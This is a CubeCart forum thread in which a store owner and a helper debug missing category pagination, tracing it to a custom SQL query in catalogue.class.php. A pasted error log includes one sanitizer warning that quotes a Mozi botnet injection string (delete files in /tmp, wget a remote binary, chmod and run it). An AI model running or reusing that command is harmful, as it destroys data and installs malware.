Claudia Posted July 11, 2022 Share Posted July 11, 2022 I just noticed that my V6.45 version store is not showing the pagination on the category page. My coding, which is the same for my other store running V6.44, is as follows. My skin/element.pagination is stock.. Any help to get this back would be appreciated TOP Pagination title="{$subcat.cat_name}">{$subcat.cat_name}</a></div> </li> {/foreach} </ul> <hr> {/if} {if $PAGINATION} <div class="row text-right right"> <div class="small-6 medium-12 large-12 columns show-for-medium-up thinpad-top"> {include file='templates/element.paginate.php'} </div> </div> {/if} <div id="ccScroll"> <ul class="small-block-grid-1 medium-block-grid-3 large-block-grid-3 product_list" data-equalizer> {foreach from=$PRODUCTS item=product} {if $product.available == '0'}{continue}{/if} <li> BOTTOM Pagination <li>{$LANG.category.no_products}</li> {/if} {/foreach} </ul> {if $PAGINATION} <div class="row"> <div class="small-12 large-9 columns"> {$PAGINATION} </div> </div> {/if} <div class="hide" id="ccScrollCat">{$category.cat_id}</div> Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 11, 2022 Share Posted July 11, 2022 (edited) Are your CC644 and CC645 stores publicly viewable? Having made a comparison of the stock codebase between CC644 and CC645, I see nothing in the stock code that would explain your observation. Edited July 11, 2022 by bsmither Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 11, 2022 Author Share Posted July 11, 2022 Both stores are viewable I have compared code between CC644 and CC645 See this page from my new CC645 store. There are actually 38 products in this category https://www.3waymix.com/ashtrays See this page from my other CC644 store. https://www.claudiasbargains.com/bottles-jars-and-jugs.html Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 12, 2022 Share Posted July 12, 2022 Looking into it. Quick question: Would the CC645 store be running under PHP 8+ (where the CC644 store is running under PHP 7.3 or less)? Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 Both are running php 7.4.30 Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 12, 2022 Share Posted July 12, 2022 Anything in the error_log? (I think you would have said so if there was.) Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 Not really. Nothing stood out. Here's the latest. Other concerns PayPal commerce mostly! [11-Jul-2022 17:35:01 America/Louisville] PHP Notice: Undefined variable: currency in /home/xxxx/public_html/modules/plugins/paypal_commerce/hooks/class.gui.head_js.php on line 60 [11-Jul-2022 17:35:01 America/Louisville] PHP Notice: Undefined variable: image in /home/xxxx/public_html/classes/catalogue.class.php on line 1585 [11-Jul-2022 17:35:02 America/Louisville] PHP Notice: Undefined variable: random_product in /home/xxxx/public_html/classes/gui.class.php on line 1326 [11-Jul-2022 18:29:01 America/Louisville] PHP Warning: Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155 [11-Jul-2022 21:29:30 America/Louisville] PHP Warning: Security Warning: Illegal array key "images/" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114 [11-Jul-2022 22:23:03 America/Louisville] PHP Warning: Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155 [11-Jul-2022 22:58:16 America/Louisville] PHP Warning: Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_http://192_168_1_1:8088/Mozi_a;chmod_777_Mozi_a;/tmp/Mozi_a_jaws" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114 Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 12, 2022 Share Posted July 12, 2022 Ok. Still looking. Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 Don't forget my skin is highly modified. Plus in admin I redid the product.index template for all the tabs to show on one page. I made my own admin skin. I tried using the foundation skin and the default admin skin but the pagination as in my CC644 store did not show. I also compared my store settings to the one in the CC644 store and they are both the same. Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 12, 2022 Share Posted July 12, 2022 (edited) So far, my best guess is that in content.category.php, there is a test for {$PAGINATION} being true-like. If so, then include a template. But that is not what we want. In CubeCart's database.class.php, function pagination(), that template is fetched, populated and returned to catalogue.class.php, function categoryPagination(). If all goes well, the pagination HTML code derived from that template is given to PAGINATION. It then gets displayed via {$PAGINATION}. At the bottom of content.category.php is another {$PAGINATION} that should - but doesn't - show the pagination HTML because that test is also true-like. So, the likely culprit is that {$PAGINATION} is either empty or false. At the bottom of the content.category.php file, add {debug} and save. When you request this page, there will be a popup. Your browser may require you to approve of showing this popup. Approve it, and you may need to close the popup and make another request for that page. Scroll down the popup looking for $PAGINATION in the left column. It's value will be in the right column. What is the value? Keep in mind that unless certain other measures are taken, everyone will get that popup. So we need to only have {debug} in the template for as long as necessary. Edited July 12, 2022 by bsmither Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 There is no $pagination in the left column Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 (edited) I found the problem! In classes/catalouge I had this all on one line // START My do not show product on Cat Page if Sold $where = " AND INV.available = '1'"; $where2 = $this->outOfStockWhere(false, 'INV', true); if (($result = $GLOBALS['db']->query('SELECT I.product_id FROM `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_category_index` as I, `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_inventory` as INV WHERE I.cat_id = '.$category_id.' AND I.product_id = INV.product_id AND INV.status = 1'.$where.$where2)) !== false) { // END My do not show product on Cat Page if Sold $this->_category_count = $GLOBALS['db']->numrows(); Edited July 12, 2022 by Claudia Quote Link to comment Share on other sites More sharing options...
bsmither Posted July 12, 2022 Share Posted July 12, 2022 That would do it. I was trying to compose the best instruction for you to add some diagnostic code to catalogue.class.php function categoryPagination() to show what the value of $this->_category_count was. Quote Link to comment Share on other sites More sharing options...
Claudia Posted July 12, 2022 Author Share Posted July 12, 2022 I am so sorry to put you to all that trouble. Thank you for helping Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.